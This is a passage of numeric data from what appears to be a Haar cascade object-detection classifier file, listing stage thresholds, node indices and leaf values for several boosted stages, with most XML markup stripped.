2.6848098635673523e-01 -8.1898219883441925e-02 + + + <_> + + 0 -1 455 1.0485399980098009e-03 + + + 4.6113260090351105e-02 -4.7243279218673706e-01 + + + <_> + + 0 -1 456 1.7460780218243599e-03 + + + -1.1030430346727371e-01 2.0379729568958282e-01 + + + <_> + + 0 -1 457 5.8608627878129482e-03 + + + -1.5619659423828125e-01 1.5927439928054810e-01 + + + <_> + + 0 -1 458 -2.7724979445338249e-02 + + + 1.1349119991064072e-01 -2.1885140240192413e-01 + + + <_> + + 0 -1 459 4.7080639749765396e-02 + + + -4.1688729077577591e-02 5.3630048036575317e-01 + + + <_> + + 0 -1 460 -7.9283770173788071e-03 + + + -5.3595131635665894e-01 4.4237509369850159e-02 + + + <_> + + 0 -1 461 -1.2880540452897549e-02 + + + 2.3237949609756470e-01 -1.0246250033378601e-01 + + + <_> + + 0 -1 462 2.3604769259691238e-02 + + + -8.8291436433792114e-02 3.0561059713363647e-01 + + + <_> + + 0 -1 463 1.5902200713753700e-02 + + + -1.2238109856843948e-01 1.7849120497703552e-01 + + + <_> + + 0 -1 464 7.9939495772123337e-03 + + + -8.3729006350040436e-02 3.2319590449333191e-01 + + + <_> + + 0 -1 465 5.7100867852568626e-03 + + + 3.8479208946228027e-02 -6.8138152360916138e-01 + + + + + <_> + 51 + -1.1122100353240967e+00 + + <_> + + 0 -1 466 2.2480720654129982e-03 + + + -1.6416870057582855e-01 4.1648530960083008e-01 + + + <_> + + 0 -1 467 4.5813550241291523e-03 + + + -1.2465959787368774e-01 4.0385121107101440e-01 + + + <_> + + 0 -1 468 -1.6073239967226982e-03 + + + 2.6082459092140198e-01 -2.0282520353794098e-01 + + + <_> + + 0 -1 469 2.5205370038747787e-03 + + + -1.0557229816913605e-01 3.6669111251831055e-01 + + + <_> + + 0 -1 470 2.4119189474731684e-03 + + + -1.3877600431442261e-01 2.9959911108016968e-01 + + + <_> + + 0 -1 471 5.7156179100275040e-03 + + + -7.7683463692665100e-02 4.8481920361518860e-01 + + + <_> + + 0 -1 472 3.1093840952962637e-03 + + + -1.1229000240564346e-01 2.9215508699417114e-01 + + + <_> + + 0 -1 473 -8.6836628615856171e-02 + + + -3.6779600381851196e-01 7.2597242891788483e-02 + + + <_> + + 0 -1 474 5.2652182057499886e-03 + + + -1.0890290141105652e-01 3.1791260838508606e-01 + + + <_> + + 0 -1 475 -1.9913529977202415e-02 + + + -5.3373438119888306e-01 7.0585712790489197e-02 + + + <_> + + 0 -1 476 3.8297839928418398e-03 + + + -1.3575910031795502e-01 2.2788879275321960e-01 + + + <_> + + 0 -1 477 1.0431859642267227e-02 + + + 8.8797912001609802e-02 -4.7958970069885254e-01 + + + <_> + + 0 -1 478 -2.0040439441800117e-02 + + + 1.5745539963245392e-01 -1.7771570384502411e-01 + + + <_> + + 0 -1 479 -5.2967290394008160e-03 + + + -6.8434917926788330e-01 3.5671461373567581e-02 + + + <_> + + 0 -1 480 -2.1624139044433832e-03 + + + 2.8318038582801819e-01 -9.8511278629302979e-02 + + + <_> + + 0 -1 481 -3.5464888787828386e-04 + + + -3.7077340483665466e-01 8.0932952463626862e-02 + + + <_> + + 0 -1 482 -1.8152060511056334e-04 + + + -3.2207030057907104e-01 7.7551059424877167e-02 + + + <_> + + 0 -1 483 -2.7563021285459399e-04 + + + -3.2441279292106628e-01 8.7949477136135101e-02 + + + <_> + + 0 -1 484 6.3823810778558254e-03 + + + -8.8924713432788849e-02 3.1727218627929688e-01 + + + <_> + + 0 -1 485 1.1150909587740898e-02 + + + 7.1019843220710754e-02 -4.0494039654731750e-01 + + + <_> + + 0 -1 486 -1.0593760525807738e-03 + + + 2.6050668954849243e-01 -1.1765640228986740e-01 + + + <_> + + 0 -1 487 2.3906480055302382e-03 + + + -8.4388621151447296e-02 3.1230551004409790e-01 + + + <_> + + 0 -1 488 -1.1000749655067921e-02 + + + 1.9152249395847321e-01 -1.5210020542144775e-01 + + + <_> + + 0 -1 489 -2.4643228971399367e-04 + + + -3.1765159964561462e-01 8.6582258343696594e-02 + + + <_> + + 0 -1 490 2.3053269833326340e-02 + + + -1.0089760273694992e-01 2.5769290328025818e-01 + + + <_> + + 0 -1 491 -2.2135660983622074e-03 + + + 4.5689210295677185e-01 -5.2404791116714478e-02 + + + <_> + + 0 -1 492 -9.7139709396287799e-04 + + + -3.5518380999565125e-01 8.0094382166862488e-02 + + + <_> + + 0 -1 493 1.5676229959353805e-03 + + + 1.0091420263051987e-01 -2.1603040397167206e-01 + + + <_> + + 0 -1 494 7.5460801599547267e-04 + + + 5.7896178215742111e-02 -4.0461111068725586e-01 + + + <_> + + 0 -1 495 -2.0698970183730125e-02 + + + 3.1543630361557007e-01 -8.0713048577308655e-02 + + + <_> + + 0 -1 496 -2.0619940012693405e-02 + + + 2.7181661128997803e-01 -7.6358616352081299e-02 + + + <_> + + 0 -1 497 2.1611129865050316e-02 + + + 3.9493449032306671e-02 -5.9429651498794556e-01 + + + <_> + + 0 -1 498 6.5676742233335972e-03 + + + -9.8353669047355652e-02 2.3649279773235321e-01 + + + <_> + + 0 -1 499 -8.8434796780347824e-03 + + + -5.2523428201675415e-01 4.3099921196699142e-02 + + + <_> + + 0 -1 500 -9.4260741025209427e-03 + + + 2.4665130674839020e-01 -9.4130717217922211e-02 + + + <_> + + 0 -1 501 -1.9830230157822371e-03 + + + 2.6743701100349426e-01 -9.0069316327571869e-02 + + + <_> + + 0 -1 502 -1.7358399927616119e-03 + + + 1.5940019488334656e-01 -1.5789410471916199e-01 + + + <_> + + 0 -1 503 -1.3513869605958462e-02 + + + 4.0792331099510193e-01 -6.4223118126392365e-02 + + + <_> + + 0 -1 504 -1.9394010305404663e-02 + + + 1.8015649914741516e-01 -1.3731400668621063e-01 + + + <_> + + 0 -1 505 -3.2684770412743092e-03 + + + 2.9080390930175781e-01 -8.0161906778812408e-02 + + + <_> + + 0 -1 506 4.1773589327931404e-04 + + + -2.1412980556488037e-01 1.1273439973592758e-01 + + + <_> + + 0 -1 507 -7.6351119205355644e-03 + + + -4.5365959405899048e-01 5.4625060409307480e-02 + + + <_> + + 0 -1 508 -8.3652976900339127e-03 + + + 2.6472920179367065e-01 -9.4334110617637634e-02 + + + <_> + + 0 -1 509 2.7768449857831001e-02 + + + -1.0136710107326508e-01 2.0743979513645172e-01 + + + <_> + + 0 -1 510 -5.4891228675842285e-02 + + + 2.8840309381484985e-01 -7.5312040746212006e-02 + + + <_> + + 0 -1 511 2.5793339591473341e-03 + + + -1.1088529974222183e-01 2.1724960207939148e-01 + + + <_> + + 0 -1 512 6.6196516854688525e-05 + + + -1.8872100114822388e-01 1.4440689980983734e-01 + + + <_> + + 0 -1 513 5.0907251425087452e-03 + + + -7.7601231634616852e-02 2.9398378729820251e-01 + + + <_> + + 0 -1 514 -1.0444259643554688e-01 + + + 2.0133109390735626e-01 -1.0903970152139664e-01 + + + <_> + + 0 -1 515 -6.7273090826347470e-04 + + + 1.7945900559425354e-01 -1.2023670226335526e-01 + + + <_> + + 0 -1 516 3.2412849832326174e-03 + + + 4.0688131004571915e-02 -5.4600572586059570e-01 + + + + + <_> + 44 + -1.2529590129852295e+00 + + <_> + + 0 -1 517 5.2965320646762848e-03 + + + -1.2154529988765717e-01 6.4420372247695923e-01 + + + <_> + + 0 -1 518 -2.5326260365545750e-03 + + + 5.1233220100402832e-01 -1.1108259856700897e-01 + + + <_> + + 0 -1 519 -2.9183230362832546e-03 + + + -5.0615429878234863e-01 1.1501979827880859e-01 + + + <_> + + 0 -1 520 -2.3692339658737183e-02 + + + 3.7167280912399292e-01 -1.4672680199146271e-01 + + + <_> + + 0 -1 521 2.0177470520138741e-02 + + + -1.7388840019702911e-01 4.7759491205215454e-01 + + + <_> + + 0 -1 522 -2.1723210811614990e-02 + + + -4.3880090117454529e-01 1.3576899468898773e-01 + + + <_> + + 0 -1 523 2.8369780629873276e-03 + + + -1.2512069940567017e-01 4.6789029240608215e-01 + + + <_> + + 0 -1 524 2.7148420922458172e-03 + + + -8.8018856942653656e-02 3.6866518855094910e-01 + + + <_> + + 0 -1 525 3.2625689636915922e-03 + + + -8.5335306823253632e-02 5.1644730567932129e-01 + + + <_> + + 0 -1 526 -3.5618850961327553e-03 + + + -4.4503930211067200e-01 9.1738171875476837e-02 + + + <_> + + 0 -1 527 1.9227749435231090e-03 + + + -1.1077310144901276e-01 3.9416998624801636e-01 + + + <_> + + 0 -1 528 -3.5111969918943942e-04 + + + -3.7775701284408569e-01 1.2166170030832291e-01 + + + <_> + + 0 -1 529 1.9121779769193381e-04 + + + 7.4816018342971802e-02 -4.0767100453376770e-01 + + + <_> + + 0 -1 530 -2.6525629800744355e-04 + + + -3.3151718974113464e-01 1.1291120201349258e-01 + + + <_> + + 0 -1 531 2.0086700096726418e-02 + + + -6.1598118394613266e-02 5.6128817796707153e-01 + + + <_> + + 0 -1 532 3.6783248186111450e-02 + + + -6.0251388698816299e-02 5.2192491292953491e-01 + + + <_> + + 0 -1 533 1.3941619545221329e-03 + + + -3.5503050684928894e-01 1.0863020271062851e-01 + + + <_> + + 0 -1 534 -1.5181669965386391e-02 + + + 2.2739650309085846e-01 -1.6252990067005157e-01 + + + <_> + + 0 -1 535 4.6796840615570545e-03 + + + -5.7535041123628616e-02 4.8124238848686218e-01 + + + <_> + + 0 -1 536 -1.7988319450523704e-04 + + + -3.0587670207023621e-01 1.0868159681558609e-01 + + + <_> + + 0 -1 537 -3.5850999411195517e-03 + + + 3.8596940040588379e-01 -9.2194072902202606e-02 + + + <_> + + 0 -1 538 1.0793360415846109e-03 + + + -1.1190389841794968e-01 3.1125208735466003e-01 + + + <_> + + 0 -1 539 7.3285802500322461e-05 + + + -2.0239910483360291e-01 1.5586680173873901e-01 + + + <_> + + 0 -1 540 1.3678739964962006e-01 + + + -2.1672859787940979e-01 1.4420390129089355e-01 + + + <_> + + 0 -1 541 -1.1729259975254536e-02 + + + 4.3503770232200623e-01 -7.4886530637741089e-02 + + + <_> + + 0 -1 542 3.9230841211974621e-03 + + + -5.0289329141378403e-02 5.8831161260604858e-01 + + + <_> + + 0 -1 543 -2.9819121118634939e-04 + + + -3.8232401013374329e-01 9.2451132833957672e-02 + + + <_> + + 0 -1 544 -4.7992770560085773e-03 + + + 4.8488789796829224e-01 -7.3136523365974426e-02 + + + <_> + + 0 -1 545 -3.0155890271998942e-04 + + + -3.5757359862327576e-01 1.0581880062818527e-01 + + + <_> + + 0 -1 546 1.0390769690275192e-02 + + + 5.2920468151569366e-02 -5.7249659299850464e-01 + + + <_> + + 0 -1 547 -9.4488041941076517e-04 + + + 4.4966828823089600e-01 -8.3075523376464844e-02 + + + <_> + + 0 -1 548 1.2651870492845774e-03 + + + -9.6695438027381897e-02 3.1302270293235779e-01 + + + <_> + + 0 -1 549 1.7094539478421211e-02 + + + -8.1248976290225983e-02 3.6113831400871277e-01 + + + <_> + + 0 -1 550 2.5973359588533640e-03 + + + -1.1338350176811218e-01 2.2233949601650238e-01 + + + <_> + + 0 -1 551 1.4527440071105957e-03 + + + 6.9750443100929260e-02 -3.6720710992813110e-01 + + + <_> + + 0 -1 552 4.7638658434152603e-03 + + + -6.5788961946964264e-02 3.8328540325164795e-01 + + + <_> + + 0 -1 553 -6.2501081265509129e-03 + + + -7.0754468441009521e-01 3.8350198417901993e-02 + + + <_> + + 0 -1 554 -3.1765329185873270e-03 + + + 1.3755400478839874e-01 -2.3240029811859131e-01 + + + <_> + + 0 -1 555 3.2191169448196888e-03 + + + -1.2935450673103333e-01 2.2737880051136017e-01 + + + <_> + + 0 -1 556 -5.6365579366683960e-03 + + + 3.8067150115966797e-01 -6.7246839404106140e-02 + + + <_> + + 0 -1 557 -2.3844049428589642e-04 + + + -3.1122380495071411e-01 8.3838358521461487e-02 + + + <_> + + 0 -1 558 -4.1017560288310051e-03 + + + 2.6067280769348145e-01 -1.0449740290641785e-01 + + + <_> + + 0 -1 559 1.3336989795789123e-03 + + + -5.8250140398740768e-02 4.7682440280914307e-01 + + + <_> + + 0 -1 560 -1.2090239906683564e-03 + + + 1.4834509789943695e-01 -1.7329469323158264e-01 + + + + + <_> + 72 + -1.1188739538192749e+00 + + <_> + + 0 -1 561 -3.1760931015014648e-03 + + + 3.3333331346511841e-01 -1.6642349958419800e-01 + + + <_> + + 0 -1 562 2.4858079850673676e-02 + + + -7.2728872299194336e-02 5.6674581766128540e-01 + + + <_> + + 0 -1 563 -7.7597280032932758e-03 + + + 4.6258568763732910e-01 -9.3112178146839142e-02 + + + <_> + + 0 -1 564 7.8239021822810173e-03 + + + -2.7414610981941223e-01 1.3243049383163452e-01 + + + <_> + + 0 -1 565 -1.0948839597404003e-02 + + + 2.2345480322837830e-01 -1.4965449273586273e-01 + + + <_> + + 0 -1 566 -3.4349008928984404e-03 + + + 3.8724988698959351e-01 -6.6121727228164673e-02 + + + <_> + + 0 -1 567 -3.1156290322542191e-02 + + + 2.4078279733657837e-01 -1.1406909674406052e-01 + + + <_> + + 0 -1 568 1.1100519914180040e-03 + + + -2.8207978606224060e-01 1.3275429606437683e-01 + + + <_> + + 0 -1 569 3.1762740109115839e-03 + + + 3.4585930407047272e-02 -5.1374310255050659e-01 + + + <_> + + 0 -1 570 -2.7977459132671356e-02 + + + 2.3926779627799988e-01 -1.3255919516086578e-01 + + + <_> + + 0 -1 571 -2.3097939789295197e-02 + + + 3.9019620418548584e-01 -7.8478008508682251e-02 + + + <_> + + 0 -1 572 -3.9731930010020733e-03 + + + 3.0691069364547729e-01 -7.0601403713226318e-02 + + + <_> + + 0 -1 573 3.0335749033838511e-03 + + + -1.4002190530300140e-01 1.9134859740734100e-01 + + + <_> + + 0 -1 574 -1.0844370350241661e-02 + + + 1.6548730432987213e-01 -1.5657779574394226e-01 + + + <_> + + 0 -1 575 -1.8150510266423225e-02 + + + -6.3243591785430908e-01 3.9561819285154343e-02 + + + <_> + + 0 -1 576 7.1052298881113529e-04 + + + -1.8515570461750031e-01 1.3408809900283813e-01 + + + <_> + + 0 -1 577 1.0893340222537518e-02 + + + -2.6730230078101158e-02 6.0971802473068237e-01 + + + <_> + + 0 -1 578 -2.8780900174751878e-04 + + + -3.0065140128135681e-01 7.3171459138393402e-02 + + + <_> + + 0 -1 579 -3.5855069290846586e-03 + + + 2.6217609643936157e-01 -7.9714097082614899e-02 + + + <_> + + 0 -1 580 -1.9759280607104301e-02 + + + -5.9039229154586792e-01 4.0698971599340439e-02 + + + <_> + + 0 -1 581 -1.0845210403203964e-02 + + + 1.6364559531211853e-01 -1.2586060166358948e-01 + + + <_> + + 0 -1 582 -4.3183090165257454e-03 + + + -5.7474881410598755e-01 3.7644311785697937e-02 + + + <_> + + 0 -1 583 1.4913700288161635e-03 + + + 6.0913469642400742e-02 -3.0222928524017334e-01 + + + <_> + + 0 -1 584 1.5675699338316917e-02 + + + -7.3145911097526550e-02 2.9379451274871826e-01 + + + <_> + + 0 -1 585 -1.1033560149371624e-02 + + + 3.9318808913230896e-01 -4.7084320336580276e-02 + + + <_> + + 0 -1 586 8.8555756956338882e-03 + + + 3.7601381540298462e-02 -4.9108490347862244e-01 + + + <_> + + 0 -1 587 -8.9665671112015843e-04 + + + 1.7952020466327667e-01 -1.1086239665746689e-01 + + + <_> + + 0 -1 588 -3.0592409893870354e-03 + + + -4.4429460167884827e-01 5.1005430519580841e-02 + + + <_> + + 0 -1 589 6.3201179727911949e-03 + + + -5.2841089665889740e-02 3.7197101116180420e-01 + + + <_> + + 0 -1 590 2.0682830363512039e-02 + + + 5.7667169719934464e-02 -3.6901599168777466e-01 + + + <_> + + 0 -1 591 9.9822662770748138e-02 + + + -3.7377018481492996e-02 5.8165591955184937e-01 + + + <_> + + 0 -1 592 -6.5854229032993317e-03 + + + 2.8509441018104553e-01 -6.0978069901466370e-02 + + + <_> + + 0 -1 593 -6.0900300741195679e-02 + + + -5.1031768321990967e-01 3.7787400186061859e-02 + + + <_> + + 0 -1 594 -2.9991709161549807e-03 + + + -4.7943010926246643e-01 3.8833890110254288e-02 + + + <_> + + 0 -1 595 -9.8906438797712326e-03 + + + 4.0609079599380493e-01 -4.7869648784399033e-02 + + + <_> + + 0 -1 596 -8.2688927650451660e-02 + + + -7.0671182870864868e-01 2.7487749233841896e-02 + + + <_> + + 0 -1 597 5.0060399807989597e-03 + + + 2.8208440169692039e-02 -5.2909690141677856e-01 + + + <_> + + 0 -1 598 6.1695030890405178e-03 + + + -5.4554861038923264e-02 3.2837980985641479e-01 + + + <_> + + 0 -1 599 -3.3914761152118444e-03 + + + 9.2117667198181152e-02 -2.1637110412120819e-01 + + + <_> + + 0 -1 600 -2.6131230406463146e-03 + + + 1.3651019334793091e-01 -1.3781130313873291e-01 + + + <_> + + 0 -1 601 8.0490659456700087e-04 + + + -6.8637110292911530e-02 3.3581069111824036e-01 + + + <_> + + 0 -1 602 -3.8106508553028107e-02 + + + 2.9445430636405945e-01 -6.8239226937294006e-02 + + + <_> + + 0 -1 603 7.2450799052603543e-05 + + + -1.6750130057334900e-01 1.2178230285644531e-01 + + + <_> + + 0 -1 604 1.5837959945201874e-03 + + + -9.2042848467826843e-02 2.1348990499973297e-01 + + + <_> + + 0 -1 605 1.2924340553581715e-03 + + + 6.2917232513427734e-02 -3.6174508929252625e-01 + + + <_> + + 0 -1 606 9.9146775901317596e-03 + + + 1.9534060731530190e-02 -8.1015038490295410e-01 + + + <_> + + 0 -1 607 -1.7086310544982553e-03 + + + 2.5525239109992981e-01 -6.8229459226131439e-02 + + + <_> + + 0 -1 608 2.1844399161636829e-03 + + + 2.3314049467444420e-02 -8.4296780824661255e-01 + + + <_> + + 0 -1 609 -3.4244330599904060e-03 + + + 2.7213689684867859e-01 -7.6395228505134583e-02 + + + <_> + + 0 -1 610 2.7591470279730856e-04 + + + -1.0742840170860291e-01 2.2888970375061035e-01 + + + <_> + + 0 -1 611 -6.0005177510902286e-04 + + + -2.9854211211204529e-01 6.3479736447334290e-02 + + + <_> + + 0 -1 612 -2.5001438916660845e-04 + + + -2.7178969979286194e-01 6.9615006446838379e-02 + + + <_> + + 0 -1 613 6.8751391954720020e-03 + + + -5.7185899466276169e-02 3.6695951223373413e-01 + + + <_> + + 0 -1 614 1.2761900201439857e-02 + + + 6.7955687642097473e-02 -2.8534150123596191e-01 + + + <_> + + 0 -1 615 -1.4752789866179228e-03 + + + 2.0680660009384155e-01 -1.0059390217065811e-01 + + + <_> + + 0 -1 616 1.2138819694519043e-01 + + + -9.7126796841621399e-02 1.9789619743824005e-01 + + + <_> + + 0 -1 617 -5.0081279128789902e-02 + + + 2.8417178988456726e-01 -6.7879997193813324e-02 + + + <_> + + 0 -1 618 3.1454950571060181e-02 + + + -8.9468672871589661e-02 2.1298420429229736e-01 + + + <_> + + 0 -1 619 1.8878319533541799e-03 + + + -1.1656440049409866e-01 1.6663520038127899e-01 + + + <_> + + 0 -1 620 -5.7211960665881634e-03 + + + 2.3702140152454376e-01 -9.0776607394218445e-02 + + + <_> + + 0 -1 621 -1.8076719425152987e-04 + + + 1.7951929569244385e-01 -1.0793480277061462e-01 + + + <_> + + 0 -1 622 -1.9761849939823151e-01 + + + 4.5674291253089905e-01 -4.0480159223079681e-02 + + + <_> + + 0 -1 623 -2.3846809926908463e-04 + + + -2.3733009397983551e-01 7.5922161340713501e-02 + + + <_> + + 0 -1 624 2.1540730085689574e-04 + + + 8.1688016653060913e-02 -2.8685030341148376e-01 + + + <_> + + 0 -1 625 1.0163090191781521e-02 + + + -4.1250020265579224e-02 4.8038348555564880e-01 + + + <_> + + 0 -1 626 -7.2184870950877666e-03 + + + 1.7458580434322357e-01 -1.0146500170230865e-01 + + + <_> + + 0 -1 627 2.4263170361518860e-01 + + + 5.3426481783390045e-02 -3.2318529486656189e-01 + + + <_> + + 0 -1 628 6.9304101634770632e-04 + + + -1.1499179899692535e-01 1.4793939888477325e-01 + + + <_> + + 0 -1 629 3.5475199110805988e-03 + + + -3.9424978196620941e-02 5.3126180171966553e-01 + + + <_> + + 0 -1 630 2.1403690334409475e-04 + + + 6.9753833115100861e-02 -2.7319580316543579e-01 + + + <_> + + 0 -1 631 -5.7119462871924043e-04 + + + 3.4369900822639465e-01 -5.7699009776115417e-02 + + + <_> + + 0 -1 632 -6.6290069371461868e-03 + + + 1.1758489906787872e-01 -1.5020139515399933e-01 + + + + + <_> + 66 + -1.0888810157775879e+00 + + <_> + + 0 -1 633 -2.6513449847698212e-02 + + + 2.0568640530109406e-01 -2.6473900675773621e-01 + + + <_> + + 0 -1 634 9.7727458924055099e-03 + + + -1.1192840337753296e-01 3.2570549845695496e-01 + + + <_> + + 0 -1 635 3.2290350645780563e-02 + + + -9.8574757575988770e-02 3.1779170036315918e-01 + + + <_> + + 0 -1 636 -2.8103240765631199e-03 + + + 1.5213899314403534e-01 -1.9686409831047058e-01 + + + <_> + + 0 -1 637 -1.0991429910063744e-02 + + + 5.1407659053802490e-01 -4.3707210570573807e-02 + + + <_> + + 0 -1 638 6.3133831135928631e-03 + + + -9.2781022191047668e-02 3.4702470898628235e-01 + + + <_> + + 0 -1 639 8.7105982005596161e-02 + + + 3.0053649097681046e-02 -8.2814818620681763e-01 + + + <_> + + 0 -1 640 1.1799359926953912e-03 + + + -1.2928420305252075e-01 2.0646120607852936e-01 + + + <_> + + 0 -1 641 -9.3056890182197094e-04 + + + -5.0021439790725708e-01 9.3666993081569672e-02 + + + <_> + + 0 -1 642 -1.3687170110642910e-02 + + + -7.9358148574829102e-01 -6.6733639687299728e-03 + + + <_> + + 0 -1 643 -7.5917452573776245e-02 + + + 3.0469641089439392e-01 -7.9655893146991730e-02 + + + <_> + + 0 -1 644 -2.8559709899127483e-03 + + + 2.0961460471153259e-01 -1.2732550501823425e-01 + + + <_> + + 0 -1 645 -4.0231510065495968e-03 + + + -6.5817278623580933e-01 5.0683639943599701e-02 + + + <_> + + 0 -1 646 1.7558040097355843e-02 + + + -8.5382692515850067e-02 3.6174559593200684e-01 + + + <_> + + 0 -1 647 2.1988239139318466e-02 + + + 6.2943696975708008e-02 -7.0896339416503906e-01 + + + <_> + + 0 -1 648 -2.8599589131772518e-03 + + + 1.4683780074119568e-01 -1.6465979814529419e-01 + + + <_> + + 0 -1 649 -1.0030849836766720e-02 + + + 4.9579939246177673e-01 -2.7188340201973915e-02 + + + <_> + + 0 -1 650 -6.9560329429805279e-03 + + + 2.7977779507637024e-01 -7.7953331172466278e-02 + + + <_> + + 0 -1 651 -3.8356808945536613e-03 + + + -5.8163982629776001e-01 3.5739939659833908e-02 + + + <_> + + 0 -1 652 -3.2647319603711367e-03 + + + -4.9945080280303955e-01 4.6986490488052368e-02 + + + <_> + + 0 -1 653 -7.8412350267171860e-03 + + + 3.4532830119132996e-01 -6.8810403347015381e-02 + + + <_> + + 0 -1 654 -8.1718113506212831e-05 + + + 1.5041710436344147e-01 -1.4146679639816284e-01 + + + <_> + + 0 -1 655 -3.2448628917336464e-03 + + + 2.2724510729312897e-01 -9.2860206961631775e-02 + + + <_> + + 0 -1 656 -7.8561151167377830e-04 + + + -4.4319018721580505e-01 5.7812441140413284e-02 + + + <_> + + 0 -1 657 -6.2474247533828020e-04 + + + 1.3952389359474182e-01 -1.4668719470500946e-01 + + + <_> + + 0 -1 658 -3.2942948746494949e-04 + + + -2.9901570081710815e-01 7.6066739857196808e-02 + + + <_> + + 0 -1 659 1.2605739757418633e-03 + + + -1.6125600039958954e-01 1.3953800499439240e-01 + + + <_> + + 0 -1 660 -5.1667019724845886e-02 + + + -5.3142839670181274e-01 4.0719520300626755e-02 + + + <_> + + 0 -1 661 -1.5285619534552097e-02 + + + -7.8206378221511841e-01 2.7183769270777702e-02 + + + <_> + + 0 -1 662 6.9029822945594788e-02 + + + -3.6427021026611328e-02 7.1102517843246460e-01 + + + <_> + + 0 -1 663 1.4522749697789550e-03 + + + -9.6890516579151154e-02 2.1668420732021332e-01 + + + <_> + + 0 -1 664 -2.4765590205788612e-03 + + + 1.1645310372114182e-01 -1.8227979540824890e-01 + + + <_> + + 0 -1 665 -1.5134819550439715e-03 + + + 1.7863979935646057e-01 -1.2214969843626022e-01 + + + <_> + + 0 -1 666 -1.5099470037966967e-03 + + + 1.8086239695549011e-01 -1.1446069926023483e-01 + + + <_> + + 0 -1 667 -6.7054620012640953e-03 + + + 2.5106599926948547e-01 -9.1871462762355804e-02 + + + <_> + + 0 -1 668 -1.4075200073421001e-02 + + + 1.3707509636878967e-01 -1.7333500087261200e-01 + + + <_> + + 0 -1 669 -2.2400720044970512e-03 + + + 4.0092980861663818e-01 -4.7576878219842911e-02 + + + <_> + + 0 -1 670 1.9782369956374168e-02 + + + -1.9040350615978241e-01 1.4923410117626190e-01 + + + <_> + + 0 -1 671 2.6002870872616768e-03 + + + 4.6971768140792847e-02 -4.3307659029960632e-01 + + + <_> + + 0 -1 672 -5.3445628145709634e-04 + + + -4.3744230270385742e-01 4.1520189493894577e-02 + + + <_> + + 0 -1 673 -1.7466509714722633e-02 + + + 6.5818172693252563e-01 -3.4447491168975830e-02 + + + <_> + + 0 -1 674 -2.0425589755177498e-03 + + + 3.9657929539680481e-01 -4.4052429497241974e-02 + + + <_> + + 0 -1 675 2.6661779265850782e-03 + + + 5.8770958334207535e-02 -3.2806369662284851e-01 + + + <_> + + 0 -1 676 -5.5982369929552078e-02 + + + -5.1735472679138184e-01 3.5791840404272079e-02 + + + <_> + + 0 -1 677 -1.5066330088302493e-03 + + + 1.5123869478702545e-01 -1.2520180642604828e-01 + + + <_> + + 0 -1 678 -1.1472369544208050e-02 + + + -6.2930530309677124e-01 3.4704331308603287e-02 + + + <_> + + 0 -1 679 2.3409629240632057e-02 + + + -5.8063350617885590e-02 3.8668221235275269e-01 + + + <_> + + 0 -1 680 -2.3243729956448078e-03 + + + 1.8754099309444427e-01 -9.8394669592380524e-02 + + + <_> + + 0 -1 681 -2.9039299115538597e-02 + + + -5.4486900568008423e-01 4.0926340967416763e-02 + + + <_> + + 0 -1 682 -1.4474649913609028e-02 + + + -6.7248392105102539e-01 2.3128850385546684e-02 + + + <_> + + 0 -1 683 -5.2086091600358486e-03 + + + -4.3271440267562866e-01 4.3780650943517685e-02 + + + <_> + + 0 -1 684 4.9382899887859821e-03 + + + -1.0878620296716690e-01 1.9342589378356934e-01 + + + <_> + + 0 -1 685 -4.3193930760025978e-03 + + + 2.4080930650234222e-01 -1.0380800068378448e-01 + + + <_> + + 0 -1 686 2.3705669445917010e-04 + + + -8.7349072098731995e-02 2.0466239750385284e-01 + + + <_> + + 0 -1 687 4.7858079778961837e-04 + + + 4.5624580234289169e-02 -3.8854670524597168e-01 + + + <_> + + 0 -1 688 -8.5342838428914547e-04 + + + -5.5077940225601196e-01 3.5825889557600021e-02 + + + <_> + + 0 -1 689 5.4772121075075120e-05 + + + -1.1225239932537079e-01 1.7503519356250763e-01 + + + <_> + + 0 -1 690 -3.8445889949798584e-03 + + + 2.4526700377464294e-01 -8.1132568418979645e-02 + + + <_> + + 0 -1 691 -4.0128458291292191e-02 + + + -6.3122707605361938e-01 2.6972670108079910e-02 + + + <_> + + 0 -1 692 -1.7886360001284629e-04 + + + 1.9855099916458130e-01 -1.0333680361509323e-01 + + + <_> + + 0 -1 693 1.7668239888735116e-04 + + + -9.1359011828899384e-02 1.9848720729351044e-01 + + + <_> + + 0 -1 694 7.2763383388519287e-02 + + + 5.0075579434633255e-02 -3.3852630853652954e-01 + + + <_> + + 0 -1 695 1.0181630030274391e-02 + + + -9.3229979276657104e-02 2.0059590041637421e-01 + + + <_> + + 0 -1 696 2.4409969337284565e-03 + + + 6.4636632800102234e-02 -2.6921740174293518e-01 + + + <_> + + 0 -1 697 -3.6227488890290260e-03 + + + 1.3169890642166138e-01 -1.2514840066432953e-01 + + + <_> + + 0 -1 698 -1.3635610230267048e-03 + + + 1.6350460052490234e-01 -1.0665939748287201e-01 + + + + + <_> + 69 + -1.0408929586410522e+00 + + <_> + + 0 -1 699 -9.6991164609789848e-03 + + + 6.1125320196151733e-01 -6.6225312650203705e-02 + + + <_> + + 0 -1 700 -9.6426531672477722e-03 + + + -1. 2.7699959464371204e-03 + + + <_> + + 0 -1 701 -9.6381865441799164e-03 + + + 1. -2.9904270195402205e-04 + + + <_> + + 0 -1 702 -4.2553939856588840e-03 + + + 2.8464388847351074e-01 -1.5540120005607605e-01 + + + <_> + + 0 -1 703 -9.6223521977663040e-03 + + + -1. 4.3999180197715759e-02 + + + <_> + + 0 -1 704 -9.1231241822242737e-03 + + + 8.6869341135025024e-01 -2.7267890982329845e-03 + + + <_> + + 0 -1 705 -8.6240433156490326e-03 + + + 4.5352488756179810e-01 -8.6071379482746124e-02 + + + <_> + + 0 -1 706 -8.9324144646525383e-03 + + + 1.3375559449195862e-01 -2.6012519001960754e-01 + + + <_> + + 0 -1 707 -1.4207810163497925e-02 + + + 3.2077640295028687e-01 -9.7226411104202271e-02 + + + <_> + + 0 -1 708 2.5911010801792145e-02 + + + -1.2964080274105072e-01 2.6218649744987488e-01 + + + <_> + + 0 -1 709 2.0531509653665125e-04 + + + -1.2404280155897141e-01 2.1062959730625153e-01 + + + <_> + + 0 -1 710 -5.4795680625829846e-05 + + + 1.1974299699068069e-01 -2.3201279342174530e-01 + + + <_> + + 0 -1 711 6.8555199541151524e-03 + + + -6.3276126980781555e-02 4.1044250130653381e-01 + + + <_> + + 0 -1 712 -1.2253040447831154e-02 + + + 5.4883331060409546e-01 -3.9731100201606750e-02 + + + <_> + + 0 -1 713 -3.9058770053088665e-03 + + + 2.4190980195999146e-01 -9.7096011042594910e-02 + + + <_> + + 0 -1 714 2.7560980524867773e-03 + + + -1.2569679319858551e-01 1.9456650316715240e-01 + + + <_> + + 0 -1 715 -7.7662160620093346e-03 + + + 